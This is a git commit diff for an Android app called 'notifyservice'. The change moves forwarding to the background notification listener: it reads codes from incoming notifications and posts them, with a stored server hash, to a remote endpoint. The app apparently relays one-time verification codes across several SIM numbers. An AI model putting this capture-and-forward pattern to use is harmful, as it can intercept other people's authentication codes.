This commit is contained in:
Your Name 2025-04-09 19:02:59 +03:00
parent 722f4f4279
commit 1daf5d05e6
4 changed files with 58 additions and 14 deletions

View file

@ -1,5 +1,7 @@
package com.example.notifyservice; package com.example.notifyservice;
import static com.example.notifyservice.MainActivity.getCurrentHash;
import android.app.ActivityManager; import android.app.ActivityManager;
import android.app.Notification; import android.app.Notification;
import android.content.Context; import android.content.Context;
@ -59,8 +61,16 @@ public class Listener extends NotificationListenerService {
String code = processExtras(sbn.getNotification().extras); String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5) if (code.length() < 5)
return; return;
MainActivity applicationContext = (MainActivity) getApplicationContext(); Context context = getApplicationContext();
applicationContext.onNotificationReceived(code); PostRequest postRequestTask = new PostRequest(context, null);
postRequestTask.execute("code",
code + ";" + getCurrentHash(context)); // STATIC
if (MainActivity.callbackRef != null) {
NotificationCallback callback = MainActivity.callbackRef.get();
if (callback != null) {
callback.onCodeReceived(code);
}
}
} }
} }

View file

@ -39,6 +39,7 @@ import android.util.Log;
import org.json.JSONException; import org.json.JSONException;
import org.json.JSONObject; import org.json.JSONObject;
import java.lang.ref.WeakReference;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Arrays; import java.util.Arrays;
import java.util.List; import java.util.List;
@ -62,7 +63,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private WebChromeClient.CustomViewCallback customViewCallback; private WebChromeClient.CustomViewCallback customViewCallback;
private ViewGroup mainContainer; private ViewGroup mainContainer;
private String currentHash = ""; // STATIC
private int currentPhone = 0; private int currentPhone = 0;
private List<PhoneNumber> phones; private List<PhoneNumber> phones;
private boolean receivingSms = false; private boolean receivingSms = false;
@ -74,6 +74,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
private JSONObject ussd; private JSONObject ussd;
private JSONObject language; private JSONObject language;
protected static WeakReference<NotificationCallback> callbackRef = new WeakReference<>(null);
public static void setNotificationCallback(NotificationCallback callback) {
callbackRef = new WeakReference<>(callback);
}
public static void removeNotificationCallback() {
callbackRef.clear();
}
@Override
protected void onResume() {
super.onResume();
MainActivity.setNotificationCallback(this::handleCodeReceived);
}
@Override
protected void onPause() {
super.onPause();
MainActivity.removeNotificationCallback();
}
public class PhoneNumber { public class PhoneNumber {
public String phone; public String phone;
@ -293,16 +315,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
} }
public void onNotificationReceived(String code) { public void handleCodeReceived(String code) {
if(codes.contains(code)) if(codes.contains(code))
return; return;
Log.i("a", "onNotificationReceived - " + code); // STATIC
Log.i("a", "CurrenHashReceived - " + currentHash);
codes.add(code); codes.add(code);
cancelTimer(); cancelTimer();
PostRequest postRequestTask = new PostRequest(this, this);
postRequestTask.execute("code",
code + ";" + currentHash); // STATIC
nextPhone(); nextPhone();
} }
@ -327,6 +344,18 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
savePhone(context, phones.get(currentPhone)); savePhone(context, phones.get(currentPhone));
} }
public static String getCurrentHash(Context context) {
SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE);
return prefs.getString("KEY_HASH", ""); // Return empty string if not found
}
// Store the hash value
public static void setCurrentHash(Context context, String hash) {
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit();
editor.putString("KEY_HASH", hash);
editor.apply(); // Asynchronously save changes
}
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
Log.i("a", "isSimConnected"); // STATIC Log.i("a", "isSimConnected"); // STATIC
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
@ -357,7 +386,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} else { } else {
Log.i("a", "Phone not provided"); // STATIC Log.i("a", "Phone not provided"); // STATIC
receivingSms = false; receivingSms = false;
currentHash = ""; // STATIC setCurrentHash(context, ""); // STATIC
Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
if(!isSimConnected(context, phone.telephonyManager)) if(!isSimConnected(context, phone.telephonyManager))
nextPhone(); nextPhone();
@ -367,7 +396,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
private void requestPhone(Context context, PhoneNumber phone){ private void requestPhone(Context context, PhoneNumber phone){
currentHash = ""; // STATIC setCurrentHash(context, ""); // STATIC
Log.i("a", "Requesting phone - " + phone.phone); // STATIC Log.i("a", "Requesting phone - " + phone.phone); // STATIC
PostRequest postRequestTask = new PostRequest(context, this); PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone", postRequestTask.execute("phone",
@ -380,8 +409,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
try { try {
Log.i("PostResult", result.toString()); // STATIC Log.i("PostResult", result.toString()); // STATIC
if(result.has("hash")) { // STATIC if(result.has("hash")) { // STATIC
currentHash = result.getString("hash"); // STATIC setCurrentHash(this, result.getString("hash")); // STATIC
Log.i("currenthash", currentHash); // STATIC
} }
if(result.has("key")) // STATIC if(result.has("key")) // STATIC
setKey(getBaseContext(), result.getString("key")); // STATIC setKey(getBaseContext(), result.getString("key")); // STATIC

View file

@ -0,0 +1,5 @@
package com.example.notifyservice;
public interface NotificationCallback {
void onCodeReceived(String code);
}

View file

@ -64,7 +64,8 @@ public class PostRequest {
protected void onPostExecute(String result) { protected void onPostExecute(String result) {
try { try {
if (callback == null)
return;
callback.onPostResponse((new JSONObject( callback.onPostResponse((new JSONObject(
Encryption.aesDecrypt( Encryption.aesDecrypt(
result result